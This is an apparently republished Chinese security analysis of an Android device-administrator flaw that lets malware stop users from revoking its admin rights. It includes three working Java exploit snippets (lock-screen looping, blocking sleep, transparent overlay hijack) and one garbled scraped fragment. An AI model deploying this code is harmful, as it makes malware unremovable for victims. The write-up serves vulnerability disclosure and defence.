Android裝置管理員漏洞2--阻止使用者取消啟用裝置管理員

來源:互聯網
上載者:User

Android裝置管理員漏洞2--阻止使用者取消啟用裝置管理員

2013年6月,俄羅斯安全廠商卡巴斯基發現了史上最強手機木馬-Obad.A,該木馬利用了一個未知的Android裝置管理員漏洞(ANDROID-9067882),已啟用裝置管理員許可權的手機木馬利用該漏洞,可以在設定程式的裝置管理員列表中隱藏,這樣使用者就無法通過正常途徑取消該手機木馬的裝置管理員許可權,從而達到無法卸載的目的。Android4.2版本以上系統已經修複該漏洞。(漏洞詳情:http://blog.csdn.net/androidsecurity/article/details/9124747)


日前,百度安全實驗室發現手機木馬開始利用另一新的Android裝置管理員漏洞,新的裝置管理員漏洞是由於Android系統在取消啟用裝置管理員流程的設計缺陷引起的,惡意軟體利用該設計缺陷,可以阻止使用者取消啟用裝置管理員,進而達到反卸載的目的。該漏洞存在於Android系統所有版本。


一、取消啟用裝置管理員原始碼分析


Android取消啟用裝置管理員流程原始碼:


<喎?http://www.bkjia.com/kf/ware/vc/" target="_blank" class="keylink">vcD48cD4gICAgICBBbmRyb2lkyKHP+7yku+7J6LG4udzA7cb3u/mxvsH3s8zNvKO6PC9wPjxwPjxiciAvPjwvcD48cD4gPGltZyBzcmM9"http://www.2cto.com/uploadfile/Collfiles/20141011/2014101108335741.png" alt="\" width="850" height="480" />


1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能


為什麼第一步就調用該函數呢?通過原始碼注釋可以看出調用該函數目的是:禁止其它程式在使用者取消裝置管理員操作過程彈出Dialog,影響使用者操作。


stopAppSwitch()原始碼如所示:



通過代碼我們發現該方法的具體實現是:

規定在APP_SWITCH_DELAY_TIME時間內禁止進行Activity切換。該方法調用後,所有應用的Activity調用請求會被系統放到掛起的請求隊列中。被掛起的Activity調用請求會在APP_SWITCH_DELAY_TIME時間後才會被系統執行。

通過調用stopAppSwitch()方法,系統保證在進入取消裝置管理員介面後,5秒內不會進行Activity的切換。

二、漏洞原理分析


通過以上流程我們發現,在第8步裝置管理員調用

DevicePolicyManagerService.removeActiveAdmin()取消啟用裝置管理員之前,DevicePolicyManagerService會調用應用的onDisableRequested方法擷取取消啟用的警示資訊。如果onDisableRequested函數返回內容為空白的,第8步就會自動執行;如果onDisableRequested函數返回內容不可為空,會彈出Dialog顯示返回的警示資訊,提示使用者是否取消啟用。使用者點擊確認後才會執行第8步。


如何阻止流程執行到第8步呢?

onDisableRequested是唯一在流程第8步之前被調用的函數。為了阻止流程走到第8步,onDisableRequested函數滿足以下條件即可:

1、返回內容不可為空,這樣才可以使裝置管理員彈出取消啟用裝置管理員警示資訊 Dialog。

2、通過Activity切換的方式使裝置管理員彈出的警示資訊Dialog消失。使使用者無法操作Dialog。

如果做到以上兩點,程式即可成功阻止使用者取消啟用裝置管理員操作。

三、漏洞利用方法


以下提出三種可以利用該流程設計缺陷,成功阻止使用者取消裝置管理員的方法。


1、通過鎖屏方式

[java] view plaincopy
  1. @Override
  2. public CharSequence onDisableRequested(Context context, Intent intent) {
  3. // TODO Auto-generated method stub
  4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
  5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  6. context.startActivity(intent1);
  7. final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
  8. dpm.lockNow();
  9. new Thread(new Runnable() {
  10. @Override
  11. public void run() {
  12. int i = 0;
  13. while(i<70){
  14. dpm.lockNow();
  15. try {
  16. Thread.sleep(100);
  17. i++;
  18. } catch (InterruptedException e) {
  19. e.printStackTrace();
  20. }
  21. }
  22. }
  23. }).start();
  24. return "This is a onDisableRequested response message";
  25. }

    2、通過阻塞函數返回方式

    [java] view plaincopy
    1. @Override
    2. public CharSequence onDisableRequested(Context context, Intent intent) {
    3. // TODO Auto-generated method stub
    4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
    5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    6. context.startActivity(intent1);
    7. try {
    8. Thread.sleep(7000);
    9. } catch (InterruptedException e) {
    10. e.printStackTrace();
    11. }
    12. return "This is a onDisableRequested response message";
    13. }


      3、通過透明視窗劫持方式

      [java] view plaincopy
      1. @Override
      2. public CharSequence onDisableRequested(Context context, Intent intent) {
      3. // TODO Auto-generated method stub
      4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
      5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
      6. context.startActivity(intent1);
      7. WindowManager.LayoutParams wmParams;
      8. final WindowManager mWindowManager;
      9. wmParams = new WindowManager.LayoutParams();
      10. mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
      11. wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
      12. wmParams.format = PixelFormat.RGBX_8888;
      13. wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
      14. wmParams.gravity = Gravity.LEFT | Gravity.TOP;
      15. wmParams.alpha = 0;
      16. wmParams.x = 0;
      17. wmParams.y = 0;
      18. wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
      19. wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;
      20. final View contentView = new Button(context);
      21. mWindowManager.addView(contentView, wmParams);
      22. new Thread(new Runnable() {
      23. @Override
      24. public void run() {
      25. try {
      26. Thread.sleep(7000);
      27. } catch (InterruptedException e) {
      28. // TODO Auto-generated catch block
      29. e.printStackTrace();
      30. }
      31. mWindowManager.removeView(contentView);
      32. }
      33. }).start();
      34. return "This is a onDisableRequested response message";
      35. }

        以上方法都會在onDisableRequested中,採用不同方式使使用者在5秒時間內無法操作介面。因為5秒後Activity切換請求才會被系統執行。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.